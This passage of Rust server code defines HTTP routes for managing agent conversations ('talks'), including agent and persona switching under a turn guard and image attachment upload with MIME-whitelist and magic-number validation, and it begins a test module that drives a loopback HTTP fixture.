7046                    talk.status.as_str()
7047                )));
7048            }
7049            if !talk::edit_pending_text(
7050                &mut talk,
7051                &ui.talks,
7052                &body.text,
7053                &body.expected_text,
7054                &body.expected_attachments,
7055            )? {
7056                return Err(ApiError::conflict(
7057                    "queued message changed; reload it before editing",
7058                ));
7059            }
7060            let claim = match ui.begin_queued_talk_turn(&id)? {
7061                Some(turn_guard) => {
7062                    let (cfg, _) = Config::discover(&talk.repo, None)?;
7063                    Some((talk.clone(), cfg, id.clone(), turn_guard))
7064                }
7065                None => None,
7066            };
7067            let thinking = ui.is_thinking(&id);
7068            Ok((TalkView::new(talk, thinking), claim))
7069        }
7070    })
7071    .await?;
7072    if let Some((talk, cfg, id, turn_guard)) = reclaimed {
7073        let talks = ui.talks.clone();
7074        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7075    }
7076    Ok(Json(view))
7077}
7078
7079/// The body of `POST /api/talks/{id}/agent`.
7080#[derive(Debug, Deserialize)]
7081struct TalkAgent {
7082    agent: String,
7083}
7084
7085/// `POST /api/talks/{id}/agent` - hand the conversation to another roster
7086/// agent. Holds the talk's turn guard for the whole switch so a `/say` cannot
7087/// start a turn on the old session between the check and the write; one that
7088/// arrives in that window finds the talk busy and becomes a draft.
7089async fn talk_agent(
7090    State(ui): State<Arc<Ui>>,
7091    Path(id): Path<String>,
7092    Json(body): Json<TalkAgent>,
7093) -> ApiResult<Json<TalkView>> {
7094    let id = {
7095        let ui = Arc::clone(&ui);
7096        blocking(move || resolve_talk(&ui.talks, &id)).await?
7097    };
7098    let repo = {
7099        let ui = Arc::clone(&ui);
7100        let id = id.clone();
7101        blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7102    };
7103    let cfg = config_for(&repo).await?;
7104    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7105        return Err(ApiError::conflict(
7106            "a talk turn is running; change the agent once it has answered",
7107        ));
7108    };
7109    let switched = {
7110        let ui = Arc::clone(&ui);
7111        let id = id.clone();
7112        let cfg = cfg.clone();
7113        blocking(move || {
7114            let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
7115                .map_err(ApiError::bad_request_from)?;
7116            let mut talk = ui.talks.get(&id)?;
7117            if !talk.status.open() {
7118                return Err(ApiError::conflict(format!(
7119                    "talk {} is {} and takes no more turns",
7120                    talk.short(),
7121                    talk.status.as_str()
7122                )));
7123            }
7124            talk::switch_agent(&mut talk, &ui.talks, &spec)?;
7125            Ok(talk)
7126        })
7127        .await
7128    };
7129    // A `/say` that landed while this held the claim saw the talk busy and
7130    // left a durable draft, trusting the claim's owner to drain it. So the
7131    // claim goes to `drain_loop` whatever the outcome - it releases at once
7132    // when nothing is queued - rather than being dropped here.
7133    let fresh = {
7134        let ui = Arc::clone(&ui);
7135        let id = id.clone();
7136        blocking(move || Ok(ui.talks.get(&id)?)).await
7137    };
7138    let draining = match fresh {
7139        Ok(talk) => {
7140            let draining = talk.status.open()
7141                && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
7142            let talks = ui.talks.clone();
7143            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7144            draining
7145        }
7146        Err(_) => false,
7147    };
7148    let talk = switched?;
7149    Ok(Json(TalkView::new(talk, draining)))
7150}
7151
7152/// The body of `POST /api/talks/{id}/persona`.
7153#[derive(Debug, Deserialize)]
7154struct TalkPersona {
7155    persona: String,
7156}
7157
7158/// `POST /api/talks/{id}/persona` - choose the conversation's tone. Shaped
7159/// like [`talk_agent`]: the turn guard is held for the change and always handed
7160/// to `drain_loop`, so a draft left meanwhile is not stranded.
7161async fn talk_persona(
7162    State(ui): State<Arc<Ui>>,
7163    Path(id): Path<String>,
7164    Json(body): Json<TalkPersona>,
7165) -> ApiResult<Json<TalkView>> {
7166    let id = {
7167        let ui = Arc::clone(&ui);
7168        blocking(move || resolve_talk(&ui.talks, &id)).await?
7169    };
7170    let repo = {
7171        let ui = Arc::clone(&ui);
7172        let id = id.clone();
7173        blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7174    };
7175    let cfg = config_for(&repo).await?;
7176    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7177        return Err(ApiError::conflict(
7178            "a talk turn is running; change the persona once it has answered",
7179        ));
7180    };
7181    let switched = {
7182        let ui = Arc::clone(&ui);
7183        let id = id.clone();
7184        let cfg = cfg.clone();
7185        blocking(move || {
7186            let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
7187                return Err(ApiError::bad_request(format!(
7188                    "unknown persona `{}`",
7189                    body.persona
7190                )));
7191            };
7192            let mut talk = ui.talks.get(&id)?;
7193            if !talk.status.open() {
7194                return Err(ApiError::conflict(format!(
7195                    "talk {} is {} and takes no more turns",
7196                    talk.short(),
7197                    talk.status.as_str()
7198                )));
7199            }
7200            talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
7201            Ok(talk)
7202        })
7203        .await
7204    };
7205    // As in `talk_agent`: the claim goes to `drain_loop` whatever happened.
7206    let fresh = {
7207        let ui = Arc::clone(&ui);
7208        let id = id.clone();
7209        blocking(move || Ok(ui.talks.get(&id)?)).await
7210    };
7211    let draining = match fresh {
7212        Ok(talk) => {
7213            let draining = talk.status.open()
7214                && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
7215            let talks = ui.talks.clone();
7216            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7217            draining
7218        }
7219        Err(_) => false,
7220    };
7221    let talk = switched?;
7222    Ok(Json(TalkView::new(talk, draining)))
7223}
7224
7225/// The body of `POST /api/talks/{id}/implementers`.
7226#[derive(Debug, Deserialize)]
7227struct TalkImplementers {
7228    implementers: u8,
7229}
7230
7231/// `POST /api/talks/{id}/implementers` - choose how many implementers the tasks it files use (1 is Solo). Shaped
7232/// like [`talk_agent`]: the turn guard is held for the change and always handed
7233/// to `drain_loop`, so a draft left meanwhile is not stranded.
7234async fn talk_implementers(
7235    State(ui): State<Arc<Ui>>,
7236    Path(id): Path<String>,
7237    Json(body): Json<TalkImplementers>,
7238) -> ApiResult<Json<TalkView>> {
7239    let id = {
7240        let ui = Arc::clone(&ui);
7241        blocking(move || resolve_talk(&ui.talks, &id)).await?
7242    };
7243    let repo = {
7244        let ui = Arc::clone(&ui);
7245        let id = id.clone();
7246        blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7247    };
7248    let cfg = config_for(&repo).await?;
7249    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7250        return Err(ApiError::conflict(
7251            "a talk turn is running; change the implementers once it has answered",
7252        ));
7253    };
7254    let switched = {
7255        let ui = Arc::clone(&ui);
7256        let id = id.clone();
7257        let cfg = cfg.clone();
7258        blocking(move || {
7259            let chosen =
7260                talk::check_implementers(body.implementers, &cfg).map_err(ApiError::bad_request)?;
7261            let mut talk = ui.talks.get(&id)?;
7262            if !talk.status.open() {
7263                return Err(ApiError::conflict(format!(
7264                    "talk {} is {} and takes no more turns",
7265                    talk.short(),
7266                    talk.status.as_str()
7267                )));
7268            }
7269            talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
7270            Ok(talk)
7271        })
7272        .await
7273    };
7274    // As in `talk_agent`: the claim goes to `drain_loop` whatever happened.
7275    let fresh = {
7276        let ui = Arc::clone(&ui);
7277        let id = id.clone();
7278        blocking(move || Ok(ui.talks.get(&id)?)).await
7279    };
7280    let draining = match fresh {
7281        Ok(talk) => {
7282            let draining = talk.status.open()
7283                && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
7284            let talks = ui.talks.clone();
7285            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7286            draining
7287        }
7288        Err(_) => false,
7289    };
7290    let talk = switched?;
7291    Ok(Json(TalkView::new(talk, draining)))
7292}
7293
7294/// `POST /api/talks/{id}/close`.
7295async fn talk_close(
7296    State(ui): State<Arc<Ui>>,
7297    Path(id): Path<String>,
7298) -> ApiResult<Json<TalkView>> {
7299    blocking(move || {
7300        let id = resolve_talk(&ui.talks, &id)?;
7301        let mut talk = ui.talks.get(&id)?;
7302        talk::close(&mut talk, &ui.talks)?;
7303        let thinking = ui.is_thinking(&talk.id);
7304        Ok(Json(TalkView::new(talk, thinking)))
7305    })
7306    .await
7307}
7308
7309/// `POST /api/talks/{id}/reopen`.
7310async fn talk_reopen(
7311    State(ui): State<Arc<Ui>>,
7312    Path(id): Path<String>,
7313) -> ApiResult<Json<TalkView>> {
7314    blocking(move || {
7315        let id = resolve_talk(&ui.talks, &id)?;
7316        let mut talk = ui.talks.get(&id)?;
7317        talk::reopen(&mut talk, &ui.talks)?;
7318        let thinking = ui.is_thinking(&talk.id);
7319        Ok(Json(TalkView::new(talk, thinking)))
7320    })
7321    .await
7322}
7323
7324/// `DELETE /api/talks/{id}`.
7325///
7326/// Removes the conversation's record and artifacts outright, unlike
7327/// [`talk_close`] which keeps the record as history. A turn already in
7328/// flight is not refused here the way [`run_delete`] refuses a live run:
7329/// [`talk::record`] and the tail of [`talk::turn`] check for themselves,
7330/// under [`Talks::guard`], that the record they are about to write back is
7331/// still there, so a delete racing a turn is safe without this route having
7332/// to know a turn is running at all.
7333async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
7334    blocking(move || {
7335        let id = resolve_talk(&ui.talks, &id)?;
7336        ui.talks.remove(&id)?;
7337        Ok(StatusCode::NO_CONTENT)
7338    })
7339    .await
7340}
7341
7342/// Expand an id or short id to exactly one talk id.
7343fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
7344    pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
7345}
7346
7347/// `POST /api/talks/{id}/attachments` - upload one image to attach to a
7348/// future `talk-say`.
7349async fn talk_attachment_post(
7350    State(ui): State<Arc<Ui>>,
7351    Path(id): Path<String>,
7352    headers: HeaderMap,
7353    body: Bytes,
7354) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
7355    let mime = validate_attachment(&headers, &body)?;
7356    let name = filename_header(&headers);
7357    let data = body.to_vec();
7358    blocking(move || {
7359        let id = resolve_talk(&ui.talks, &id)?;
7360        let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
7361        Ok((StatusCode::CREATED, Json(att)))
7362    })
7363    .await
7364}
7365
7366/// `GET /api/talks/{id}/attachments/{att}` - the stored image back, for a
7367/// `<img>` tag in the transcript.
7368async fn talk_attachment_get(
7369    State(ui): State<Arc<Ui>>,
7370    Path((id, att)): Path<(String, String)>,
7371) -> ApiResult<Response> {
7372    blocking(move || {
7373        let id = resolve_talk(&ui.talks, &id)?;
7374        let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
7375            return Err(ApiError::not_found(format!(
7376                "talk {id} has no attachment `{att}`"
7377            )));
7378        };
7379        Ok(attachment_response(&meta.mime, data))
7380    })
7381    .await
7382}
7383
7384/// Validate an attachment upload's declared `Content-Type` and the bytes
7385/// themselves, returning the canonical mime on success.
7386///
7387/// Two checks, both required: the header has to name one of
7388/// [`ATTACHMENT_MIME_WHITELIST`] (which is what keeps SVG out - it is
7389/// simply never in the list, active content rather than a picture, the same
7390/// exclusion [`asset_content_type`]'s doc explains), and the file's own
7391/// magic number has to agree. The second is what stops a mislabeled upload -
7392/// an HTML file sent as `Content-Type: image/png` - from ever reaching disk;
7393/// a declared type is a claim, not a fact, so it is never trusted alone.
7394fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
7395    if data.len() > ATTACHMENT_MAX_BYTES {
7396        return Err(ApiError::bad_request(format!(
7397            "attachment is {} bytes, over the {} MiB limit",
7398            data.len(),
7399            ATTACHMENT_MAX_BYTES / (1024 * 1024)
7400        ))
7401        .with_status(StatusCode::PAYLOAD_TOO_LARGE));
7402    }
7403    if data.is_empty() {
7404        return Err(ApiError::bad_request("attachment is empty"));
7405    }
7406    let declared = declared_mime(headers)?;
7407    match sniffed_mime(data) {
7408        Some(sniffed) if sniffed == declared => Ok(declared),
7409        Some(sniffed) => Err(ApiError::bad_request(format!(
7410            "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
7411        ))),
7412        None => Err(ApiError::bad_request(
7413            "the file's bytes do not match any accepted image format",
7414        )),
7415    }
7416}
7417
7418/// The declared `Content-Type`, checked against [`ATTACHMENT_MIME_WHITELIST`]
7419/// and nothing else - parameters like `; charset=` are stripped, but the
7420/// value itself is not otherwise interpreted.
7421fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
7422    let raw = headers
7423        .get(header::CONTENT_TYPE)
7424        .and_then(|v| v.to_str().ok())
7425        .unwrap_or("")
7426        .split(';')
7427        .next()
7428        .unwrap_or("")
7429        .trim()
7430        .to_ascii_lowercase();
7431    ATTACHMENT_MIME_WHITELIST
7432        .iter()
7433        .find(|&&m| m == raw)
7434        .copied()
7435        .ok_or_else(|| {
7436            if raw == "image/svg+xml" {
7437                ApiError::bad_request(
7438                    "SVG is not accepted: it can carry active content (e.g. a <script>), \
7439                     not just a picture",
7440                )
7441            } else if raw.is_empty() {
7442                ApiError::bad_request("Content-Type is required for an attachment upload")
7443            } else {
7444                ApiError::bad_request(format!(
7445                    "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
7446                     image/gif or image/webp"
7447                ))
7448            }
7449        })
7450}
7451
7452/// Identify an image by its magic number, independent of whatever
7453/// `Content-Type` claimed.
7454fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
7455    if data.starts_with(b"\x89PNG\r\n\x1a\n") {
7456        Some("image/png")
7457    } else if data.starts_with(b"\xff\xd8\xff") {
7458        Some("image/jpeg")
7459    } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
7460        Some("image/gif")
7461    } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
7462        Some("image/webp")
7463    } else {
7464        None
7465    }
7466}
7467
7468/// The operator's own filename, from [`FILENAME_HEADER`], kept only for
7469/// display - see [`talk::Attachment::name`]'s doc on why it never
7470/// contributes to a path. A missing or blank header (curl without it, an
7471/// older front end) falls back to a generic name rather than refusing the
7472/// upload over a field that is cosmetic.
7473fn filename_header(headers: &HeaderMap) -> String {
7474    headers
7475        .get(FILENAME_HEADER)
7476        .and_then(|v| v.to_str().ok())
7477        .map(str::trim)
7478        .filter(|s| !s.is_empty())
7479        .unwrap_or("attachment")
7480        .to_owned()
7481}
7482
7483/// Every attachment `GET` response: the mime re-validated against the same
7484/// closed whitelist the upload route enforces - never the string trusted
7485/// verbatim off disk - plus `X-Content-Type-Options: nosniff`, so a browser
7486/// cannot decide it knows better than the type we send. Unlike a panel asset
7487/// there is no [`PANEL_CSP`] here: this is a plain image the phone's own
7488/// document renders inline, not agent-authored HTML in a sandboxed frame.
7489fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
7490    let content_type = ATTACHMENT_MIME_WHITELIST
7491        .iter()
7492        .find(|&&m| m == mime)
7493        .copied()
7494        .unwrap_or("application/octet-stream");
7495    (
7496        [
7497            (header::CONTENT_TYPE, content_type),
7498            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
7499        ],
7500        body,
7501    )
7502        .into_response()
7503}
7504
7505/// The configuration for a repository, read off the disk for this request.
7506///
7507/// Through [`blocking`] because discovery reads and merges several TOML files,
7508/// and because the alternative - caching it in [`Ui`] at startup - would mean
7509/// the operator's phone kept interviewing with a roster they had already
7510/// changed, with no way to reload it but restarting the server they are not
7511/// sitting in front of.
7512async fn config_for(repo: &FsPath) -> ApiResult<Config> {
7513    let repo = repo.to_path_buf();
7514    blocking(move || {
7515        let (cfg, _) = Config::discover(&repo, None)?;
7516        Ok(cfg)
7517    })
7518    .await
7519}
7520
7521/// The one prefix rule, used for both runs and tasks: a leading match for a
7522/// full id, a trailing match for the short form an operator reads off a
7523/// report. Written here rather than borrowed from `queue::resolve_id` because
7524/// the UI needs the two failures as different status codes, and telling them
7525/// apart from an error message is not something to build a route on.
7526fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
7527    let mut hits = ids
7528        .into_iter()
7529        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
7530    match (hits.next(), hits.next()) {
7531        (Some(one), None) => Ok(one),
7532        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
7533        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
7534            "`{prefix}` matches more than one {what}, including {a} and {b}"
7535        ))),
7536    }
7537}
7538
7539#[cfg(test)]
7540mod tests {
7541
7542    #[test]
7543    fn holder_reads_the_lease_not_the_record() {
7544        let mut q = Question::new(
7545            "run".to_owned(),
7546            "implement".to_owned(),
7547            "impl-A".to_owned(),
7548            "which?".to_owned(),
7549            String::new(),
7550            Vec::new(),
7551        );
7552        assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
7553        q.cwd = Some("/tmp".to_owned());
7554        assert_eq!(holder_of(&q, None), Some("nobody"));
7555        let beat = |kind, ago: i64| ask::Lease {
7556            kind,
7557            pid: 1,
7558            beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
7559                .unwrap(),
7560        };
7561        let fresh = beat(ask::WaiterKind::Asker, 1);
7562        assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
7563        let daemon = beat(ask::WaiterKind::Daemon, 1);
7564        assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
7565        let stale = beat(ask::WaiterKind::Asker, 3600);
7566        assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
7567
7568        // A conductor question says "deputy" only while one is attached and
7569        // alive, and "nobody" - never silence - when nothing ever listened.
7570        let mut c = Question::new(
7571            "task".to_owned(),
7572            crate::conduct::NODE.to_owned(),
7573            "conduct".to_owned(),
7574            "which?".to_owned(),
7575            String::new(),
7576            Vec::new(),
7577        );
7578        assert_eq!(holder_of(&c, None), Some("nobody"));
7579        c.cwd = Some("/tmp".to_owned());
7580        c.deputy = Some(ask::Deputy::new("brief".to_owned()));
7581        assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
7582        let deputy = beat(ask::WaiterKind::Deputy, 1);
7583        assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
7584        assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
7585
7586        // A release-watch question: nobody until a deputy is attached.
7587        let mut r = Question::new(
7588            String::new(),
7589            crate::bump::NOTICE_NODE.to_owned(),
7590            "release-watch".to_owned(),
7591            "stuck?".to_owned(),
7592            String::new(),
7593            vec!["hold".to_owned()],
7594        );
7595        assert_eq!(holder_of(&r, None), Some("nobody"));
7596        r.deputy = Some(ask::Deputy::new("brief".to_owned()));
7597        assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
7598        // A choice-less bump notice is nobody's question at all.
7599        r.deputy = None;
7600        r.seat = "bump".to_owned();
7601        assert_eq!(holder_of(&r, None), None);
7602
7603        // A merge approval is the same: nobody until a deputy is attached
7604        // and alive, never a silent "no holder".
7605        let mut m = Question::new(
7606            "run".to_owned(),
7607            crate::land::APPROVAL_NODE.to_owned(),
7608            "land".to_owned(),
7609            "merge?".to_owned(),
7610            String::new(),
7611            Vec::new(),
7612        );
7613        assert_eq!(holder_of(&m, None), Some("nobody"));
7614        assert_eq!(
7615            holder_of(&m, Some(&fresh)),
7616            Some("nobody"),
7617            "a lease with no deputy is not a listener"
7618        );
7619        m.deputy = Some(ask::Deputy::new("brief".to_owned()));
7620        assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
7621        assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
7622        assert_eq!(holder_of(&m, None), Some("nobody"));
7623    }
7624
7625    fn stub_config() -> Config {
7626        // An explicit roster, so the result never depends on which agent CLIs
7627        // this machine has installed.
7628        Config {
7629            agents: vec![crate::config::AgentSpec {
7630                id: "stub".to_owned(),
7631                kind: AgentKind::Command,
7632                model: None,
7633                command: vec!["true".to_owned()],
7634                extra_args: Vec::new(),
7635                env: Default::default(),
7636                prompt_delivery: None,
7637            }],
7638            ..Config::default()
7639        }
7640    }
7641
7642    fn plain_question(seat: &str) -> Question {
7643        Question::new(
7644            String::new(),
7645            "n".to_owned(),
7646            seat.to_owned(),
7647            "s".to_owned(),
7648            String::new(),
7649            Vec::new(),
7650        )
7651    }
7652
7653    #[test]
7654    fn deputies_enabled_follows_the_config() {
7655        let on = stub_config();
7656        assert!(crate::deputy::can_start(Some(&on), ""));
7657        assert!(crate::deputy::can_start(Some(&on), "stub"));
7658        let mut off = on.clone();
7659        off.daemon.max_deputies = 0;
7660        assert!(!crate::deputy::can_start(Some(&off), ""));
7661        let mut empty = on;
7662        empty.agents.clear();
7663        assert!(!crate::deputy::can_start(Some(&empty), ""));
7664        assert!(!crate::deputy::can_start(None, ""));
7665    }
7666
7667    #[test]
7668    fn question_views_load_the_config_once() {
7669        let dir = TempDir::new().unwrap();
7670        let store = ask::Questions::at(dir.path().to_path_buf());
7671        let mut with_deputy = plain_question("b");
7672        with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
7673        let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
7674
7675        let calls = std::cell::Cell::new(0usize);
7676        let views = question_views(qs.clone(), &store, || {
7677            calls.set(calls.get() + 1);
7678            Some(stub_config())
7679        });
7680        assert_eq!(calls.get(), 1);
7681        assert_eq!(views.len(), 3);
7682        for (v, q) in views.iter().zip(&qs) {
7683            assert_eq!(
7684                v.deputies_enabled,
7685                crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
7686            );
7687        }
7688
7689        let views = question_views(qs, &store, || None);
7690        assert!(views.iter().all(|v| !v.deputies_enabled));
7691
7692        let calls = std::cell::Cell::new(0usize);
7693        let views = question_views(Vec::new(), &store, || {
7694            calls.set(calls.get() + 1);
7695            None
7696        });
7697        assert!(views.is_empty());
7698        assert_eq!(calls.get(), 0);
7699    }
7700
7701    use pretty_assertions::assert_eq;
7702    use serde_json::Value;
7703    use tempfile::TempDir;
7704    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
7705
7706    use super::*;
7707    use crate::config::Config;
7708    use crate::queue::Source;
7709
7710    /// How many 10ms steps a settle loop takes before it calls a stall a
7711    /// stall - thirty seconds.
7712    ///
7713    /// These loops wait on real `sh` subprocesses, and the machine that runs
7714    /// the gate runs several suites at once, so a two-second budget was not
7715    /// waiting for the reply, it was racing the scheduler: two of these
7716    /// tests failed under that load with the turn simply not landed yet.
7717    /// This is a hang guard, not a latency assertion - every loop breaks the
7718    /// moment its condition holds, so a generous cap costs an idle machine
7719    /// nothing and still fails a genuine hang instead of hanging the suite.
7720    const SETTLE_STEPS: usize = 3_000;
7721
7722    /// A home with a queue and a runs directory, and a router serving it on
7723    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
7724    /// dependency, not ours - so the tests drive a real socket, which has the
7725    /// side benefit of asserting the status line and content types the phone
7726    /// actually receives.
7727    struct Fixture {
7728        home: TempDir,
7729        addr: SocketAddr,
7730    }
7731
7732    impl Fixture {
7733        async fn start() -> Self {
7734            Self::with_loop(launch_idle).await
7735        }
7736
7737        /// A fixture whose loop is `launch`.
7738        async fn with_loop(launch: Launch) -> Self {
7739            let home = TempDir::new().expect("temp home");
7740            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
7741            Self { home, addr }
7742        }
7743
7744        /// A fixture whose `ui.repo` is a real directory rather than the
7745        /// usual placeholder - for the routes that read config off it
7746        /// (`GET /api/repos`) and would otherwise have nothing to discover.
7747        async fn with_repo(repo: PathBuf) -> Self {
7748            let home = TempDir::new().expect("temp home");
7749            let addr = Self::serve(home.path(), repo, launch_idle, None).await;
7750            Self { home, addr }
7751        }
7752
7753        /// As [`Fixture::with_repo`], with the machine-config file the
7754        /// settings screen reads and writes.
7755        async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
7756            let home = TempDir::new().expect("temp home");
7757            let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
7758            Self { home, addr }
7759        }
7760
7761        async fn serve(
7762            home: &FsPath,
7763            repo: PathBuf,
7764            launch: Launch,
7765            machine: Option<PathBuf>,
7766        ) -> SocketAddr {
7767            let queue = Queue::at(home.join("queue"));
7768            let runs = home.join("runs");
7769            std::fs::create_dir_all(&runs).expect("runs dir");
7770            let worktrees = home.join("wt").join("magi");
7771            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
7772            let ui = Ui::new(
7773                queue,
7774                Questions::at(home.join("questions")),
7775                Talks::at(home.join("talks")),
7776                runs,
7777                home.to_path_buf(),
7778                repo,
7779            )
7780            .with_worktrees_root(worktrees)
7781            .with_machine_config(machine)
7782            .with_launch(launch);
7783            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
7784                .await
7785                .expect("bind loopback");
7786            let addr = listener.local_addr().expect("local addr");
7787            tokio::spawn(async move {
7788                let _ = axum::serve(listener, ui.router()).await;
7789            });
7790            addr
7791        }
7792
7793        fn queue(&self) -> Queue {
7794            Queue::at(self.home.path().join("queue"))
7795        }
7796
7797        fn questions(&self) -> Questions {
7798            Questions::at(self.home.path().join("questions"))
7799        }
7800
7801        fn talks(&self) -> Talks {
7802            Talks::at(self.home.path().join("talks"))
7803        }
7804
7805        fn runs(&self) -> PathBuf {
7806            self.home.path().join("runs")
7807        }
7808
7809        async fn get(&self, path: &str) -> Res {
7810            request(self.addr, "GET", path, None).await
7811        }
7812
7813        /// The status and headers without the body, which is how the front end
7814        /// preflights a panel: a sandboxed frame is opaque to the parent
7815        /// document, so the only way to tell "no panel" from "a panel that
7816        /// rendered blank" is to ask before mounting.
7817        async fn head(&self, path: &str) -> Res {
7818            request(self.addr, "HEAD", path, None).await
7819        }
7820
7821        async fn post(&self, path: &str, body: Option<&str>) -> Res {
7822            request(self.addr, "POST", path, body).await
7823        }
7824
7825        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
7826            request_with(self.addr, "GET", path, None, extra).await
7827        }
7828
7829        async fn delete(&self, path: &str) -> Res {
7830            request(self.addr, "DELETE", path, None).await
7831        }
7832
7833        async fn put(&self, path: &str, body: &str) -> Res {
7834            request(self.addr, "PUT", path, Some(body)).await
7835        }
7836
7837        /// `POST` a raw body with its own headers - see [`request_bytes`].
7838        async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
7839            request_bytes(self.addr, path, headers, body).await
7840        }
7841    }
7842
7843    struct Res {
7844        status: u16,
7845        headers: String,
7846        /// The header block with its original casing, for the assertions that
7847        /// compare a header *value* rather than looking for a name. Lowercasing
7848        /// a CSP would hide a directive spelled with a capital letter, and the
7849        /// whole point of that test is that the string is exactly right.
7850        head: String,
7851        body: String,
7852        /// The body before any UTF-8 handling, for the routes that serve
7853        /// something other than text. A panel asset is a PNG as often as not,
7854        /// and `from_utf8_lossy` would silently replace half of it.
7855        bytes: Vec<u8>,
7856    }
7857
7858    impl Res {
7859        fn json(&self) -> Value {
7860            serde_json::from_str(&self.body)
7861                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
7862        }
7863
7864        /// One header's value verbatim, or `None` when it was not sent.
7865        fn header(&self, name: &str) -> Option<&str> {
7866            self.head.lines().find_map(|line| {
7867                let (key, value) = line.split_once(':')?;
7868                key.trim()
7869                    .eq_ignore_ascii_case(name)
7870                    .then(|| value.trim_start().trim_end_matches('\r'))
7871            })
7872        }
7873    }
7874
7875    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
7876    /// be read to end-of-stream without parsing framing.
7877    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
7878        request_with(addr, method, path, body, &[]).await
7879    }
7880
7881    /// As [`request`], with extra request headers - conditional GETs need
7882    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
7883    /// worse than one that sets none.
7884    async fn request_with(
7885        addr: SocketAddr,
7886        method: &str,
7887        path: &str,
7888        body: Option<&str>,
7889        extra: &[(&str, &str)],
7890    ) -> Res {
7891        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
7892        for (name, value) in extra {
7893            head.push_str(&format!("{name}: {value}\r\n"));
7894        }
7895        if let Some(body) = body {
7896            head.push_str("Content-Type: application/json\r\n");
7897            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
7898        }
7899        head.push_str("\r\n");
7900        if let Some(body) = body {
7901            head.push_str(body);
7902        }
7903        let mut socket = tokio::net::TcpStream::connect(addr)
7904            .await
7905            .expect("connect to the test server");
7906        socket
7907            .write_all(head.as_bytes())
7908            .await
7909            .expect("write request");
7910        let mut raw = Vec::new();
7911        socket.read_to_end(&mut raw).await.expect("read response");
7912        // Split on the raw bytes rather than on a lossy string, so a binary
7913        // body survives to be compared byte for byte.
7914        let split = raw
7915            .windows(4)
7916            .position(|w| w == b"\r\n\r\n")
7917            .expect("a header block");
7918        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
7919        let bytes = raw[split + 4..].to_vec();
7920        let status = head
7921            .lines()
7922            .next()
7923            .and_then(|line| line.split_whitespace().nth(1))
7924            .and_then(|code| code.parse().ok())
7925            .expect("a status line");
7926        Res {
7927            status,
7928            headers: head.to_lowercase(),
7929            head,
7930            body: String::from_utf8_lossy(&bytes).into_owned(),
7931            bytes,
7932        }
7933    }
7934
7935    /// A `POST` carrying a raw binary body and its own headers, for the
7936    /// attachment upload route - `request_with` only ever sends
7937    /// `Content-Type: application/json`, which is wrong for an image and
7938    /// would corrupt anything not valid UTF-8 by round-tripping it through
7939    /// `&str` first.
7940    async fn request_bytes(
7941        addr: SocketAddr,
7942        path: &str,
7943        headers: &[(&str, &str)],
